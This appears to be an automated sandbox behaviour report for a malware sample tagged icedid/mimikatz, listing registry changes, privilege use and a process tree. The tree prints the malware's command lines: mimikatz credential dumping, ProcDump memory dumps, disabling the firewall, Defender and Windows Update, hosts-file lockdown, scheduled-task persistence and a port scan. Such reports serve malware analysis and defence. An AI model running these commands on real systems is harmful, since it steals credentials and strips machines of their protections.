ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing kbejuig.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" kbejuig.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" kbejuig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" ligfuakbd.exe -
Modifies registry class 14 IoCs
Processes:
kbejuig.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" kbejuig.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" kbejuig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ kbejuig.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
kbejuig.exepid process 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe -
Suspicious behavior: LoadsDriver 15 IoCs
Processes:
pid process 664 664 664 664 664 664 664 664 664 664 664 664 664 664 664 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exepid process 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exekbejuig.exekbejuig.exevfshost.exeligfuakbd.exekayllc.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exeligfuakbd.exedescription pid process Token: SeDebugPrivilege 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 3952 kbejuig.exe Token: SeDebugPrivilege 1824 kbejuig.exe Token: SeDebugPrivilege 4856 vfshost.exe Token: SeDebugPrivilege 1332 ligfuakbd.exe Token: SeLockMemoryPrivilege 1564 kayllc.exe Token: SeLockMemoryPrivilege 1564 kayllc.exe Token: SeDebugPrivilege 704 ligfuakbd.exe Token: SeDebugPrivilege 2200 ligfuakbd.exe Token: SeDebugPrivilege 2712 ligfuakbd.exe Token: SeDebugPrivilege 540 ligfuakbd.exe Token: SeDebugPrivilege 1208 ligfuakbd.exe Token: SeDebugPrivilege 4500 ligfuakbd.exe Token: SeDebugPrivilege 3348 ligfuakbd.exe Token: SeDebugPrivilege 3420 ligfuakbd.exe Token: SeDebugPrivilege 3316 ligfuakbd.exe Token: SeDebugPrivilege 4120 ligfuakbd.exe Token: SeDebugPrivilege 4380 ligfuakbd.exe Token: SeDebugPrivilege 1296 ligfuakbd.exe Token: SeDebugPrivilege 1336 ligfuakbd.exe Token: SeDebugPrivilege 4084 ligfuakbd.exe Token: SeDebugPrivilege 4840 ligfuakbd.exe Token: SeDebugPrivilege 1620 ligfuakbd.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exekbejuig.exekbejuig.exexohudmc.exefkjvgk.exekbejuig.exekbejuig.exepid process 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe 3952 kbejuig.exe 3952 kbejuig.exe 1824 kbejuig.exe 1824 kbejuig.exe 4628 xohudmc.exe 1740 fkjvgk.exe 2580 kbejuig.exe 2580 kbejuig.exe 5436 kbejuig.exe 5436 kbejuig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.execmd.exekbejuig.execmd.execmd.exewpcap.exenet.exenet.exenet.exedescription pid process target process PID 1572 wrote to memory of 4524 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe cmd.exe PID 1572 wrote to memory of 4524 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe cmd.exe PID 1572 wrote to memory of 4524 1572 2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe cmd.exe PID 4524 wrote to memory of 3088 4524 cmd.exe PING.EXE PID 4524 wrote to memory of 3088 4524 cmd.exe PING.EXE PID 4524 wrote to memory of 3088 4524 cmd.exe PING.EXE PID 4524 wrote to memory of 3952 4524 cmd.exe kbejuig.exe PID 4524 wrote to memory of 3952 4524 cmd.exe kbejuig.exe PID 4524 wrote to memory of 3952 4524 cmd.exe kbejuig.exe PID 1824 wrote to memory of 4080 1824 kbejuig.exe cmd.exe PID 1824 wrote to memory of 4080 1824 kbejuig.exe cmd.exe PID 1824 wrote to memory of 4080 1824 kbejuig.exe cmd.exe PID 4080 wrote to memory of 3496 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 3496 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 3496 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 4492 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 4492 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 4492 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 2012 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 2012 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 2012 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 3216 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 3216 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 3216 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 2156 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 2156 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 2156 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 3388 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 3388 4080 cmd.exe cacls.exe PID 4080 wrote to memory of 3388 4080 cmd.exe cacls.exe PID 1824 wrote to memory of 4920 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4920 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4920 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4616 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4616 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4616 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4588 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4588 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 4588 1824 kbejuig.exe netsh.exe PID 1824 wrote to memory of 1376 1824 kbejuig.exe cmd.exe PID 1824 wrote to memory of 1376 1824 kbejuig.exe cmd.exe PID 1824 wrote to memory of 1376 1824 kbejuig.exe cmd.exe PID 1376 wrote to memory of 3868 1376 cmd.exe wpcap.exe PID 1376 wrote to memory of 3868 1376 cmd.exe wpcap.exe PID 1376 wrote to memory of 3868 1376 cmd.exe wpcap.exe PID 3868 wrote to memory of 3036 3868 wpcap.exe net.exe PID 3868 wrote to memory of 3036 3868 wpcap.exe net.exe PID 3868 wrote to memory of 3036 3868 wpcap.exe net.exe PID 3036 wrote to memory of 5100 3036 net.exe net1.exe PID 3036 wrote to memory of 5100 3036 net.exe net1.exe PID 3036 wrote to memory of 5100 3036 net.exe net1.exe PID 3868 wrote to memory of 3672 3868 wpcap.exe net.exe PID 3868 wrote to memory of 3672 3868 wpcap.exe net.exe PID 3868 wrote to memory of 3672 3868 wpcap.exe net.exe PID 3672 wrote to memory of 704 3672 net.exe net1.exe PID 3672 wrote to memory of 704 3672 net.exe net1.exe PID 3672 wrote to memory of 704 3672 net.exe net1.exe PID 3868 wrote to memory of 1612 3868 wpcap.exe net.exe PID 3868 wrote to memory of 1612 3868 wpcap.exe net.exe PID 3868 wrote to memory of 1612 3868 wpcap.exe net.exe PID 1612 wrote to memory of 3288 1612 net.exe net1.exe PID 1612 wrote to memory of 3288 1612 net.exe net1.exe PID 1612 wrote to memory of 3288 1612 net.exe net1.exe PID 3868 wrote to memory of 376 3868 wpcap.exe net.exe
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1504
-
C:\Windows\TEMP\ycubiyfde\kayllc.exe"C:\Windows\TEMP\ycubiyfde\kayllc.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1564
-
C:\Users\Admin\AppData\Local\Temp\2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-10_97385ee23ca1f52ca472990d6f5f3dce_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mitbajei\kbejuig.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3088 -
C:\Windows\mitbajei\kbejuig.exeC:\Windows\mitbajei\kbejuig.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3952
-
C:\Windows\mitbajei\kbejuig.exeC:\Windows\mitbajei\kbejuig.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3496
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:4492
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:3216
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2156
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:3388
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵PID:4920
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:4616
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:4588
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mfckutrue\tbejirgpe\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
PID:1376 -
C:\Windows\mfckutrue\tbejirgpe\wpcap.exeC:\Windows\mfckutrue\tbejirgpe\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:5100
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:704
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:3288
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:376
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:3488
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3548
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:4392
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:5080
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:3892
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:608
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mfckutrue\tbejirgpe\crtyfytge.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\mfckutrue\tbejirgpe\Scant.txt2⤵PID:3088
-
C:\Windows\mfckutrue\tbejirgpe\crtyfytge.exeC:\Windows\mfckutrue\tbejirgpe\crtyfytge.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\mfckutrue\tbejirgpe\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4524 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\mfckutrue\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\mfckutrue\Corporate\log.txt2⤵
- Drops file in Windows directory
PID:1232 -
C:\Windows\mfckutrue\Corporate\vfshost.exeC:\Windows\mfckutrue\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4856 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ugtpugmje" /ru system /tr "cmd /c C:\Windows\ime\kbejuig.exe"2⤵PID:464
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3508
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ugtpugmje" /ru system /tr "cmd /c C:\Windows\ime\kbejuig.exe"3⤵
- Creates scheduled task(s)
PID:3432 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bpgzmejug" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mitbajei\kbejuig.exe /p everyone:F"2⤵PID:4252
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:380
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bpgzmejug" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mitbajei\kbejuig.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:4040 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "qbcryqppe" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ycubiyfde\kayllc.exe /p everyone:F"2⤵PID:392
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2664
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "qbcryqppe" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ycubiyfde\kayllc.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1920 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:1156
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:412
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1356
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:1296
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:636
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:3784
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:4748
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:216
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:2676
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:4336
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:3548
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:608
-
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 792 C:\Windows\TEMP\mfckutrue\792.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1332 -
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:4808
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:3596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:5024
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1108
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:5092 -
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:4080
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:2432 -
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:2300
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:4584
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:1488
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:1380
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:2444
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:4112
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:1576
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:2696
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:4588
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:3468
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:1232 -
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:2412
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:3352 -
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:1788
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:4360 -
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:2928
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:2144 -
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:4628 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 316 C:\Windows\TEMP\mfckutrue\316.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:704 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 1504 C:\Windows\TEMP\mfckutrue\1504.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2200 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 2544 C:\Windows\TEMP\mfckutrue\2544.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2712 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 2912 C:\Windows\TEMP\mfckutrue\2912.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:540 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 3060 C:\Windows\TEMP\mfckutrue\3060.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1208 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 2136 C:\Windows\TEMP\mfckutrue\2136.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4500 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 3752 C:\Windows\TEMP\mfckutrue\3752.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3348 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 3844 C:\Windows\TEMP\mfckutrue\3844.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3420 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 3944 C:\Windows\TEMP\mfckutrue\3944.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3316 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 4044 C:\Windows\TEMP\mfckutrue\4044.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4120 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 4256 C:\Windows\TEMP\mfckutrue\4256.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4380 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 2808 C:\Windows\TEMP\mfckutrue\2808.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1296 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 2476 C:\Windows\TEMP\mfckutrue\2476.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1336 -
C:\Windows\TEMP\mfckutrue\ligfuakbd.exeC:\Windows\TEMP\mfckutrue\ligfuakbd.exe -accepteula -mp 4156 C:\Windows\TEMP\mfckutrue\4156.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4084 -
